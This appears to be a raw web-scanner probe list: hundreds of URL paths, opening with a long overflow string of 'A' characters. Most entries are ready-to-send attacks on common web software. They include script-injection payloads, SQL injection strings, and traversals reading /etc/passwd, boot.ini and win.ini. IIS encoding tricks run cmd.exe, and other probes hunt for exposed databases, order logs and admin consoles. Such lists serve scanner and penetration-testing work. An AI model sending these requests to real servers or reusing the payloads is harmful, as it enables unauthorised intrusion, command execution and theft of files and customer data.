AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
/AM
/ASP/cart/database/1893970797.mdb
/ASP/cart/database/metacart.mdb
/ASPSamp/AdvWorks/equipment/catalog_type.asp
/ATutor/contact.php?subject=%3Cscript%3Ealert%28954%29%3C/script%3E
/AccessCodeStart.asp?msg=%3Cscript%3Ealert%289810%29%3C%2Fscript%3E
/Accounting/
/AddGatewaySettings.asp?action=add
/Admin/
/Admin/Login_Validate.asp
/Admin/Users/AddModifyInput.php
/Admin_files
/Admin_files/
/Admin_files/order.log
/Administration/
/AdvWebAdmin/stats/1556612659.asp
/AdvWebAdmin/stats/statsbrowse.asp
/AdvWorks/equipment/catalog_type.asp
/Agent/
/Agentes/
/Agents/
/Album/
/AppScan_fingerprint/MAC_ADDRESS_0040F4984840.html?AC872998
/AppSettingsForm.asp
/Application_Assemblies/
/Application_Browsers/
/Application_Code/
/Application_Data/
/Application_GlobalResources/
/Application_LocalResources/
/Application_Themes/
/Application_WebReferences/
/ArticleView.php?article_id=force_error_406187103416
/Asp/
/BACLIENT
/BADFIL~1
/BADFIL~1.ASP
/BADFIL~1.HTM
/BizTalkServerDocs/
/BizTalkServerRepository/
/Blog.mdb
/BookStore_MSAccess.mdb
/C:%5C/
/CFIDE/Administrator/startstop.html
/CFIDE/administrator/index.cfm
/CFIDE/administrator/login.cfm
/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtmtestl&name=CFIDE.adminapi.administrator&path=/cfide/adminapi/administrator.cfctestt%22%3E%3C%00script%3Ealert%288428%29%3C%2Fscript%3E
/CFIDE/probe.cfm
/CF_MX_SERVER/
/CHANGELOG.htm
/CHANGELOG.html
/CHANGELOG.txt
/CHANGES
/CHANGES.txt
/COM
/COM/
/CONF&LOG=/etc/1187330229
/CONF&LOG=/etc/passwd&NOIH=no&FRAMES=y
/CONFIGURE
/CONFIGURE.txt
/COPYRIGHT.txt
/CS/news/index.php?number=500&maxentries=-10
/CSNews.cgi?command=viewnews&database=none
/CSR/
/CVS/
/CVS/1016930149
/CVS/Entries
/CVS/Repository
/CVS/Root
/Calendar/details.asp?Event_ID='
/Category.asp?c=
/Category.asp?category_id=
/Category.cfm?c=
/Category.cfm?category_id=
/CertControl/
/CertEnroll/
/CertSrv/
/ChangeLog
/ChangeLog.txt
/CheckingXssInReferer.html
/Citrix/
/Citrix/336952795/
/Citrix/ICAWEB/
/Citrix/MetaFrameXP/default/login.asp
/Citrix/NFuse17/
/Citrix/NFuseAdmin/
/Citrix/NFuseEnterprise/
/Citrix/PNAgent/
/ClassCache/
/Config1.htm
/Configure
/ConversionReport.txt
/Copy%20Of%20Web.config
/Copy%20of%20index
/Copy%20of%20login1.asp
/Copy%20of%20privacy.htm
/Copy%20of%20privacy.html
/CreatedByHP1
/CreatedByHP1.txt
/Customeraddresses_RecordAction.cfm?RecordID=1%27&CustomerID=6&set=yes
/DB4Web/10.10.10.10:100
/DEASAppDesign.nsf
/DEASLog.nsf
/DEASLog01.nsf
/DEASLog02.nsf
/DEASLog03.nsf
/DEASLog04.nsf
/DEASLog05.nsf
/DEESAdmin.nsf
/DMR/
/Data/settings.xml+
/Decoder.php?base_dir=
/Default.asp
/Default.asp?Scheme=-1%27
/Default.aspx
/Default.aspx/"onmouseover="x='al';x='ert(xss)';eval(x);alert().aspx
/Default.aspx?tabid=510&error=%22%3Cscript%3E%3C%2Fscript%3E%2F%3E%3Cimg%3Cscript%3E%3C%2Fscript%3Esrc%3D%22javascript%3Aalert%283208%29%22%3E
/DefaultWebApp/
/Detail.asp?CatalogID=
/Detail.cfm?CatalogID=
/Details.cfm?ProdID=%27
/Display
/DisplayProducts.asp?prodcat=
/DisplayProducts.cfm?prodcat=x
/DocuColor/
/DomainFiles/*//../../../../../../../../../../etc/passwd
/DomainFiles/*//../../../../etc/passwd
/DotNetNuke/
/Dynamics</html>%0d%0a
/Dynamics</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30
/EDM-ViewController-context-root/browse.do?act=%3CSCRIPT%3Ealert(3176);%3C/SCRIPT%3E&amp;select=1177281
/EXE/
/Edit.jsp?page=Main&editor=%3Cscript%3Ealert%289688%29%3C%2Fscript%3E
/Edit.jsp?page=Main&editor=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Frss
/EditProjectIssue.do?projectIssueId=%22%3E%3Cscript%3Ealert(xss)%3C/script%3E%3C%22
/Encoder.php?base_dir=
/Error.php?app_strings%5BNTC_CLICK_BACK%5D=%3Cscript%3Ealert%281782%29%3C%2Fscript%3E
/ErrorReporter/
/Exadmin/
/Examples/FileLibrary/addFile
/Examples/ShoppingCart/addItems?orders.id%3Arecords=510-007&orders.quantity%3Arecords=&orders.id%3Arecords=510-122&orders.quantity%3Arecords=0&orders.id%3Arecords=510-115&orders.quantity%3Arecords=0
/Excel/
/ExchWeb/
/Exchange
/Exoops/class/debug/highlight.php?file=highlight.php&line=1
/FCKeditor/editor/dialog/fck_flash.html
/FCKeditor/editor/dialog/fck_image.html
/FCKeditor/editor/dialog/fck_link.html
/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FormReflectingURLValue?OpenForm&Field=%5B%3Cscript%3E%2E%2E%2E%2E%2E%3C%2Fscript%3E%5D
/ForumTopicDetails.php?TopicID=11111111%20union%20Select%20*%20from%20EronatedInexistentTable
/GW5/GWWEB.EXE?HELP=bad-request
/GWWEB.EXE?HELP=bad-request
/GXApp/
/Global.asa
/Global.asax
/Global.asax.bak
/Global.asax.bakup
/Global.asax.cs
/Global.asax.old
/Global.asax.orig
/Global.asax.temp
/Global.asax.tmp
/Gozila.cgi
/GradeMap/index.php?page=
/GroupView.php?GroupID='
/HP404_77.asp
/HP404_77.aspx
/HP404_77.cfm
/HP404_77.html
/HP404_77.jsp
/HP404_77.php
/HP404_77.pl
/HP404_80.asp
/HP404_80.aspx
/HP404_80.cfm
/HP404_80.html
/HP404_80.jsp
/HP404_80.php
/HP404_80.pl
/HPWebInspectNonExistPage.html
/HTTP
/HyperStat/stat_what.log
/Hyperstat/
/I
/IBMWebAS/
/IBMWebAS/201048277/
/IBMWebAS/InfoCenter/
/IBMWebAS/apidocs/
/IBMWebAS/configDocs/
/IBMWebAS/docs/
/IBMWebAS/help/secure.htm
/IBMWebAS/mbeanDocs/
/IDSWebApp/IDSjsp/Login.jsp
/INSTALL
/INSTALL.html
/INSTALL.mysql.txt
/INSTALL.pgsql.txt
/INSTALL.txt
/INSTALL_admin
/IPManager.asp?Mode=1
/ISSamples/SQLQHit.asp
/ISSamples/sqlqhit.asp
/IlohaMail/blank.html
/IlohaMail/conf/conf.inc
/Ilohamail
/ImpExData.php?systempath=/../../../../../../../../boot.ini%00
/ImpExData.php?systempath=/../../../../../../../../etc/passwd%00
/ImpExData.php?systempath=/../../../../../../../../winnt/win.ini%00
/Inc/ArchiveOldNews.php
/Inc/Password.php
/Inc/SetVisible.php
/Index.php?id=
/Infrastructure/
/Install/InstallWizard.aspx
/JBookIt
/JUNK(10)
/JUNK(10)abcd.html
/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--//--
/JUNK(223)<font%20size=50>DEFACED<!--//--
/JUNK(5).csp
/JUNK(5).htw
/JUNK(5).xml
/JUNK(5)/
/JUNK(6).cfm?mode=debug
/KB/databse/1386835456.mdb
/KB/databse/kb.mdb
/LCGI/ndsobj.nlm
/LCGI/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf
/LICENSE.txt
/LOGIN.PWD
/LPT9
/LiveHelp/
/Location/
/LockResolve.php?GLOBALS[sugarEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList[1]=1&beanFiles[1]=/../../../../../../../../boot.ini%00
/LockResolve.php?GLOBALS[sugarEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList[1]=1&beanFiles[1]=/../../../../../../../../etc/passwd%00
/LockResolve.php?GLOBALS[sugarEntry]=1&_SESSION[o_lock_object]=1&_SESSION[o_lock_module]=1&beanList[1]=1&beanFiles[1]=/../../../../../../../../winnt/win.ini%00
/Login.aspx
/Login.do
/Login.php?theme=/../../../../../../../../boot.ini%00
/Login.php?theme=/../../../../../../../../etc/passwd%00
/Login.php?theme=/../../../../../../../../winnt/win.ini%00
/Logon.asp?Error=<script>alert("402367100483");</script>
/Logon.aspx?SessionID=%3Cscript%3Ealert%288504%29%3C%2Fscript%3E
/MAINTAINERS.txt
/MIDICART/midicart.mdb
/MSword/
/MWS/HandleSearch.html?searchTarget=test&B1=Submit
/MXShop/?mod=category&id_ctg='
/Makefile
/Mem/dynaform/FileExplorer.htm
/Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000
/Members1.aspx?Update=%3Cscript%3Ealert%288508%29%3C%2Fscript%3E
/Members1.aspx?Username=%3Cscript%3Ealert%288506%29%3C%2Fscript%3E
/Merchant2/modules/log/elf.mv?search=action&ORDERLOG.txt
/Merchant2/modules/log/malf.mv?search=action&ORDERLOG.txt
/Microsoft-Server-ActiveSync/
/Msword/
/MyIssuesView.asp?Issue_ID=-1or%201=test
/My_eGallery/public/displayCategory.php?basepath=
/NSearch/854036990
/NSearch/SearchServlet?lang=en&country=CN&query0=+%3Cimg+src%3Djavascript%3Aalert%28%22CSS%22%29%3E
/NULL.printer
/NetDetector/1699608110.htm
/NetDetector/middle_help_intro.htm
/NetDynamic/
/NetDynamics/
/New%20Folder/
/News/admin/header.php?voir=1&skinfile=../../../../../../../../../etc/passwd
/News/admin/header.php?voir=1&skinfile=NONEXISTENTFILE
/News/admin/login.php?path="></form><form%20name=a><input%20name=i%20value=CSS><script>alert(document.a.i.value)</script>
/News_Item.asp?content_ID=%27
/Newuser?Image=../../database/rbsserv.mdb
/NmConsole/Login.asp
/NonExistentFile.cgi
/NonExistentIDQFile.idq
/NuclearBB/tasks/send_queued_emails.php?root_path=
/OA_HTML/
/OA_HTML/META-INF/
/OA_HTML/PTB/ECXOTAPing.htm
/OA_HTML/PTB/ICXINDEXBASECASE.htm
/OA_HTML/PTB/mwa_readme.htm
/OA_HTML/PTB/xml_sample1.htm
/OA_HTML/jsp/
/OA_HTML/jsp/fnd/fndhelp.jsp?dbc=/u01/oracle/prodappl/fnd/11.5.0/secure/dbprod2_prod.dbc
/OA_HTML/jsp/fnd/fndhelputil.jsp
/OA_HTML/jsp/fnd/fndversion.jsp
/OA_HTML/jsp/por/services/login.jsp
/OA_HTML/jsp/wf/WFReassign.jsp
/OA_HTML/oam/
/OA_HTML/oam/weboam.log
/OA_HTML/webtools/doc/index.html
/OA_JAVA/
/OA_JAVA/Oracle/
/OA_JAVA/oracle/forms/registry/Registry.dat
/OA_JAVA/servlet.zip
/OA_MEDIA/
/OMA/
/Old%20index
/Old%20login1.asp
/Old%20privacy.htm
/Old%20privacy.html
/Oldindex
/Oldlogin1.asp
/Oldprivacy.htm
/Oldprivacy.html
/OnRequestEnd.cfm
/OpenFile.aspx?file=../../../../../../../../../../boot.ini
/OpenFile.aspx?file=../../../boot.ini
/OpenTopic
/Orders/order.log
/Orders/order_log.dat
/Orders/order_log_v12.dat
/Orders/orders.txt
/Output-Build.txt
/PBServer/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/PBServer/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/PBServer/..%255c..%255c..%255c..%255cwinnt/system32/1284387635.exe
/PBServer/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/PBServer/..%255c../..%255c../..%255c../winnt/system32/1052503352.exe
/PBServer/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/PBServer/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/281975424.exe
/PBServer/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/PBServer/..%e0%80%af../winnt/system32/169578749.exe
/PBServer/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/PBServer/..%f0%80%80%af../winnt/system32/940106677.exe
/PBServer/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/PBServer/..%f8%80%80%80%af../winnt/system32/1778418751.exe
/PBServer/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/PBServer/..%fc%80%80%80%80%af../winnt/system32/1171990960.exe
/PBServer/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/PDG/order.txt
/PDG_Cart/
/PDG_Cart/1608148008.log
/PDG_Cart/1795419762.conf
/PDG_Cart/authorizenets.txt
/PDG_Cart/oder.log
/PDG_Cart/order.log
/PDG_Cart/shopper.conf
/PDG_Cart/shopper.config
/PHPDJ_v05/dj/djpage.php?page=
/PJreview_Neo.cgi?p=/../../../../../../../../../../../../../../../../etc/passwd
/PRIVACY.HTM
/PSUser/PSCOErrPage.htm
/PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd
/Page/1,10966,,00.html?var=<script>alert('Vulnerable')</script>
/PageController.php?dir=/../../../../../../../../boot.ini%00
/PageController.php?dir=/../../../../../../../../etc/passwd%00
/PageController.php?dir=/../../../../../../../../winnt/win.ini%00
/Pages
/Pages/
/PaymentManager/
/PersonView.php?PersonID='
/Phone%20Book%20Service/data/database/pbserver.mdb
/PhpLinkExchange/bits_listings.php?svr_rootPhpStart=
/ProductCart/pc/msg.asp?|-|0|404_Object_Not_Found
/ProductDetails.asp?prdId=12
/Program%20Files/
/Public/Index.asp?Keyword=%3C%2Fscript%3E%3Cscript%3Ealert%281150%29%3C%2Fscript%3E
/Q2Fzc2luaSBEZXZlbG9wbWVudCBTZXJ2ZXIgQWNjZXNzIFZ1bG5lcmFiaWxpdHk=
/QXBhY2hlIEVzY2FwZSBTZXF1ZW5jZSBJbmplY3Rpb24=
/QXBhY2hlIEhlYWRlciBMaW5lIEFib3J0IERlbmlhbCBvZiBTZXJ2aWNl
/QkVBIFdlYkxvZ2ljIFBhc3N3b3JkIERpc2Nsb3N1cmUgVnVsbmVyYWJpbGl0eQ==
/RCS/
/READM<
/README
/README.HTM
/README.TXT
/README.htm
/README.html
/README.txt
/RESPONSE
/ROADS/cgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00
/RTE_file_browser.asp?look=&sub=\.....\\\.....\\\.....\\\.....\\\
/ReadMe
/ReadMe.txt
/Readme
/Readme.txt
/RebuildAudit.php?GLOBALS[sugarEntry]=1&beanFiles[1]=/../../../../../../../../boot.ini%00
/RebuildAudit.php?GLOBALS[sugarEntry]=1&beanFiles[1]=/../../../../../../../../etc/passwd%00
/RebuildAudit.php?GLOBALS[sugarEntry]=1&beanFiles[1]=/../../../../../../../../winnt/win.ini%00
/Reports/
/Results.cfm?category=%27
/Results.cfm?keywords=%27
/Rpc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/Rpc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/Rpc/..%255c..%255c..%255c..%255cwinnt/system32/520950640.exe
/Rpc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/Rpc/..%255c../..%255c../..%255c../winnt/system32/708222394.exe
/Rpc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/Rpc/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/1434137793.exe
/Rpc/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/Rpc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/Rpc/..%f0%80%80%af../winnt/system32/1014981756.exe
/Rpc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/Rpc/..%f8%80%80%80%af../winnt/system32/827710002.exe
/Rpc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/Rpc/..%fc%80%80%80%80%af../winnt/system32/1785509684.exe
